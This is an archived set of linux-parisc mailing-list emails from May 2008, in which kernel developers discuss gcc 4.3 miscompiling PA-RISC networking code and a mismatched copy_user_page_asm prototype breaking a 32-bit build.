J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [bug] gcc-4.[23] miscompiling causing networking to bugger up
Date: Wed, 28 May 2008 20:02:19 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <20080529000219.GE30501@phobos.i.cabal.ca>
References: <20080528234110.GD30501@phobos.i.cabal.ca> <20080529000059.9C6434E77@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1212019351 25186 80.91.229.12 (29 May 2008 00:02:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 29 May 2008 00:02:31 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 29 02:03:12 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K1Vbr-0000fk-7Z
	for glpp-linux-parisc@gmane.org; Thu, 29 May 2008 02:03:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755240AbYE2ACV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 May 2008 20:02:21 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755224AbYE2ACV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 28 May 2008 20:02:21 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:54991 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751452AbYE2ACU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 May 2008 20:02:20 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id B86CD17806E; Wed, 28 May 2008 20:02:19 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20080529000059.9C6434E77@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:353
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/353>

On Wed, May 28, 2008 at 08:00:58PM -0400, John David Anglin wrote:
> > Ah well, anyway, it works built at -O0, and buggers up at -O1.
> > 
> > Want a copy of each of the .S?
> 
> I think it would be useful to know if this is still present in 4.3 branch
> head.  Unless we know which routine the problem is in, comparing .s files
> is tough.
> 
> I'm busy until just before the summit.
> 

I tried 4.4 from svn a few days (more like 2 weeks maybe) ago. Is that
recent enough or should I try 4.3-head as well (no problem to do.)

r, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [bug] gcc-4.[23] miscompiling causing networking to bugger up
Date: Wed, 28 May 2008 20:07:00 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <119aab440805281707o78b19a65ke45692f67b6f542@mail.gmail.com>
References: <20080528234110.GD30501@phobos.i.cabal.ca>
	 <20080529000059.9C6434E77@hiauly1.hia.nrc.ca>
	 <20080529000219.GE30501@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1212019649 25842 80.91.229.12 (29 May 2008 00:07:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 29 May 2008 00:07:29 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: "Kyle McMartin" <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 29 02:08:09 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K1Vgc-0001rC-Ca
	for glpp-linux-parisc@gmane.org; Thu, 29 May 2008 02:08:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751684AbYE2AHE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 May 2008 20:07:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752146AbYE2AHE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 28 May 2008 20:07:04 -0400
Original-Received: from wa-out-1112.google.com ([209.85.146.182]:30492 "EHLO
	wa-out-1112.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751684AbYE2AHA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 May 2008 20:07:00 -0400
Original-Received: by wa-out-1112.google.com with SMTP id j37so3412010waf.23
        for <linux-parisc@vger.kernel.org>; Wed, 28 May 2008 17:07:00 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        bh=RCbR8rZ7w6PmAotBV1IOx+4IhrR+ivuF+iuAtTnchS4=;
        b=Ne55apKLK8gPhdUkafSLqUVFI4FOO7wEydRyJX+3n7DHCw/yH4LteQRtYrP398kOel97Kjh8jekDcRTysX4ffQtGOTgOUQs80tDcPzU05mGfSmGfR6M5+F4cNkWw4o+/z3ulMBHQeZSKzNDtbmOf0EDTBiGpaHy9ea1hr8krRu8=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=wLXNflwSQPTANg840lbSdYUsUatkSv9LcmH2yconiWTx51dEX5c9OHq9DP3+QMtG4fcZJfmmPK5FNP6zYuYLTxCEMXVHoA4x80ixhuO/tyx7ym7SEy97CHBLqY/cheLaKRNrh0EeNWMNKaz5TbUoXEy+zorvGxuFGHuU1jPFiQc=
Original-Received: by 10.114.208.20 with SMTP id f20mr3519363wag.147.1212019620208;
        Wed, 28 May 2008 17:07:00 -0700 (PDT)
Original-Received: by 10.115.75.10 with HTTP; Wed, 28 May 2008 17:07:00 -0700 (PDT)
In-Reply-To: <20080529000219.GE30501@phobos.i.cabal.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 14ec8cb7c96bc2af
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:354
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/354>

On Wed, May 28, 2008 at 8:02 PM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> I tried 4.4 from svn a few days (more like 2 weeks maybe) ago. Is that
> recent enough or should I try 4.3-head as well (no problem to do.)

Yes, please try 4.3-head.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [bug] gcc-4.[23] miscompiling causing networking to bugger up
Date: Wed, 28 May 2008 20:15:32 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <20080529001532.GF30501@phobos.i.cabal.ca>
References: <20080528234110.GD30501@phobos.i.cabal.ca> <20080529000059.9C6434E77@hiauly1.hia.nrc.ca> <20080529000219.GE30501@phobos.i.cabal.ca> <119aab440805281707o78b19a65ke45692f67b6f542@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1212020156 27135 80.91.229.12 (29 May 2008 00:15:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 29 May 2008 00:15:56 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 29 02:16:37 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K1Vop-0003ip-FQ
	for glpp-linux-parisc@gmane.org; Thu, 29 May 2008 02:16:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752630AbYE2APf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 May 2008 20:15:35 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755331AbYE2APf
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 28 May 2008 20:15:35 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:53667 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752630AbYE2APf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 May 2008 20:15:35 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 3820917806E; Wed, 28 May 2008 20:15:32 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <119aab440805281707o78b19a65ke45692f67b6f542@mail.gmail.com>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:355
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/355>

On Wed, May 28, 2008 at 08:07:00PM -0400, Carlos O'Donell wrote:
> On Wed, May 28, 2008 at 8:02 PM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> > I tried 4.4 from svn a few days (more like 2 weeks maybe) ago. Is that
> > recent enough or should I try 4.3-head as well (no problem to do.)
> 
> Yes, please try 4.3-head.
> 

Ok, the Debian version is pretty recent though.

kyle@shortfin:~/linux-2.6-gcc42$ hppa64-linux-gnu-gcc-4.3 -v
Using built-in specs.
Target: hppa64-linux-gnu
Configured with: ../src/configure --enable-languages=c --prefix=/usr
--libexecdir=/usr/lib --disable-shared --disable-nls --disable-threads
--disable-libgomp --disable-libmudflap --disable-libssp
--with-as=/usr/bin/hppa64-linux-gnu-as
--with-ld=/usr/bin/hppa64-linux-gnu-ld
--includedir=/usr/hppa64-linux-gnu/include --host=hppa-linux-gnu
--build=hppa-linux-gnu --target=hppa64-linux-gnu
Thread model: single
gcc version 4.3.1 20080523 (prerelease) (GCC) 
kyle@shortfin:~/linux-2.6-gcc42$ 

I'll build my xcompiler using 4.3-HEAD instead of HEAD and we'll see.
(the xcompiler fails the same way, so I'm confident it will be fine
building on my i386... all builds in this thread discussed so far have
been natively built.)

r, kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [bug] gcc-4.[23] miscompiling causing networking to bugger up
Date: Wed, 28 May 2008 21:11:09 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <20080529011109.C1A444DCB@hiauly1.hia.nrc.ca>
References: <20080529000219.GE30501@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1212023481 1952 80.91.229.12 (29 May 2008 01:11:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 29 May 2008 01:11:21 +0000 (UTC)
Cc: kyle@mcmartin.ca, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 29 03:12:02 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K1WgR-00079f-QU
	for glpp-linux-parisc@gmane.org; Thu, 29 May 2008 03:12:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752669AbYE2BLM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 May 2008 21:11:12 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753040AbYE2BLM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 28 May 2008 21:11:12 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2550 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752669AbYE2BLL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 May 2008 21:11:11 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id C1A444DCB; Wed, 28 May 2008 21:11:09 -0400 (EDT)
In-Reply-To: <20080529000219.GE30501@phobos.i.cabal.ca> from "Kyle McMartin" at May 28, 2008 08:02:19 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:356
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/356>

> I tried 4.4 from svn a few days (more like 2 weeks maybe) ago. Is that
> recent enough or should I try 4.3-head as well (no problem to do.)

4.4 has new bugs.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rubisher <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: 6a4be75aa84b0bea7939bca1af112fb3c2dfd86e make my gcc (still 4.2)
 unhappy ;<(
Date: Thu, 29 May 2008 17:24:04 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <483EE6B4.2080600@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1212081866 23475 80.91.229.12 (29 May 2008 17:24:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 29 May 2008 17:24:26 +0000 (UTC)
To: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 29 19:25:06 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K1ls3-0007lt-Dq
	for glpp-linux-parisc@gmane.org; Thu, 29 May 2008 19:24:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751970AbYE2RYL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 29 May 2008 13:24:11 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752765AbYE2RYL
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 29 May 2008 13:24:11 -0400
Original-Received: from eir.is.scarlet.be ([193.74.71.27]:33113 "EHLO eir.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751970AbYE2RYK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 29 May 2008 13:24:10 -0400
Original-Received: from [213.49.83.130] (ip-213-49-83-130.dsl.scarlet.be [213.49.83.130])
	(authenticated bits=0)
	by eir.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m4THO4bO027911;
	Thu, 29 May 2008 19:24:05 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.14 (X11/20080509)
X-DCC-scarlet.be-Metrics: eir 20001; Body=3 Fuz1=3 Fuz2=3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:357
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/357>

Hello Kyle,

This hunk:
+
+/* from pacache.S -- needed for copy_page */
+extern void copy_user_page_asm(void);
+EXPORT_SYMBOL(copy_user_page_asm);

made my 32bit kernel build failing because:
<./include/asm-parisc/page.h>

contains this prototype:

void copy_user_page_asm(void *to, void *from);

I so tried:
+extern void copy_user_page_asm(void *to, void *from);

and it seems to help to build a bootable kernel on my b2k but I ignore if it's the right stuff to do?

Tia,
	r.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 6a4be75aa84b0bea7939bca1af112fb3c2dfd86e make my gcc (still
	4.2) unhappy ;<(
Date: Thu, 29 May 2008 14:00:40 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <20080529180040.GG30501@phobos.i.cabal.ca>
References: <483EE6B4.2080600@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1212084085 31645 80.91.229.12 (29 May 2008 18:01:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 29 May 2008 18:01:25 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: rubisher <rubisher@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 29 20:02:05 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K1mRN-0004Op-P0
	for glpp-linux-parisc@gmane.org; Thu, 29 May 2008 20:01:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751976AbYE2SAm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 29 May 2008 14:00:42 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751632AbYE2SAm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 29 May 2008 14:00:42 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:42628 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751183AbYE2SAl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 29 May 2008 14:00:41 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id A4BE7178060; Thu, 29 May 2008 14:00:40 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <483EE6B4.2080600@scarlet.be>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:358
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/358>

On Thu, May 29, 2008 at 05:24:04PM +0000, rubisher wrote:
> Hello Kyle,
>
> This hunk:
> +
> +/* from pacache.S -- needed for copy_page */
> +extern void copy_user_page_asm(void);
> +EXPORT_SYMBOL(copy_user_page_asm);
>

yeah, i know, i've been too busy trying to figure out why gcc 4.3 is
fucked to push a new commit.

i'll do that later today though.

r, kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rubisher <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 6a4be75aa84b0bea7939bca1af112fb3c2dfd86e make my gcc (still	4.2)
 unhappy ;<(
Date: Thu, 29 May 2008 18:17:00 +0000
Lines: 35
Approved: news@gmane.org
Message-ID: <483EF31C.30805@scarlet.be>
References: <483EE6B4.2080600@scarlet.be> <20080529180040.GG30501@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1212085046 3618 80.91.229.12 (29 May 2008 18:17:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 29 May 2008 18:17:26 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 29 20:18:06 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K1mhG-0003WM-IA
	for glpp-linux-parisc@gmane.org; Thu, 29 May 2008 20:17:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752124AbYE2SRG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 29 May 2008 14:17:06 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753021AbYE2SRG
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 29 May 2008 14:17:06 -0400
Original-Received: from eir.is.scarlet.be ([193.74.71.27]:47736 "EHLO eir.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752124AbYE2SRF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 29 May 2008 14:17:05 -0400
Original-Received: from [213.49.83.130] (ip-213-49-83-130.dsl.scarlet.be [213.49.83.130])
	(authenticated bits=0)
	by eir.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m4TIH0Xv020443;
	Thu, 29 May 2008 20:17:01 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.14 (X11/20080509)
In-Reply-To: <20080529180040.GG30501@phobos.i.cabal.ca>
X-DCC-scarlet.be-Metrics: eir 20001; Body=3 Fuz1=3 Fuz2=3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:359
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/359>

Kyle McMartin wrote:
> On Thu, May 29, 2008 at 05:24:04PM +0000, rubisher wrote:
>> Hello Kyle,
>>
>> This hunk:
>> +
>> +/* from pacache.S -- needed for copy_page */
>> +extern void copy_user_page_asm(void);
>> +EXPORT_SYMBOL(copy_user_page_asm);
>>
> 
> yeah, i know,
Oops, sorry.

> i've been too busy trying to figure out why gcc 4.3 is
> fucked to push a new commit.
>
I would so like to be helpfull but haven't anymore enough time for this investigation, sorry.

> i'll do that later today though.
> 
No pb.

Tx,
	r.

> r, kyle
> 
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 6a4be75aa84b0bea7939bca1af112fb3c2dfd86e make my gcc (still
	4.2) unhappy ;<(
Date: Thu, 29 May 2008 14:48:08 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <20080529184808.GH30501@phobos.i.cabal.ca>
References: <483EE6B4.2080600@scarlet.be> <20080529180040.GG30501@phobos.i.cabal.ca> <483EF31C.30805@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1212086899 11809 80.91.229.12 (29 May 2008 18:48:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 29 May 2008 18:48:19 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: rubisher <rubisher@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 29 20:49:00 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K1nBK-0007y0-T0
	for glpp-linux-parisc@gmane.org; Thu, 29 May 2008 20:48:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751556AbYE2SsK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 29 May 2008 14:48:10 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751603AbYE2SsK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 29 May 2008 14:48:10 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:57105 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751556AbYE2SsJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 29 May 2008 14:48:09 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 9F3C8178060; Thu, 29 May 2008 14:48:08 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <483EF31C.30805@scarlet.be>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:360
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/360>

On Thu, May 29, 2008 at 06:17:00PM +0000, rubisher wrote:
> Kyle McMartin wrote:
>> On Thu, May 29, 2008 at 05:24:04PM +0000, rubisher wrote:
>>> Hello Kyle,
>>>
>>> This hunk:
>>> +
>>> +/* from pacache.S -- needed for copy_page */
>>> +extern void copy_user_page_asm(void);
>>> +EXPORT_SYMBOL(copy_user_page_asm);
>>>
>>
>> yeah, i know,
> Oops, sorry.
>
>> i've been too busy trying to figure out why gcc 4.3 is
>> fucked to push a new commit.
>>
> I would so like to be helpfull but haven't anymore enough time for this investigation, sorry.
>

it's ok, i appreciate all the effort you've put in so far :)

cheers, kyle
--
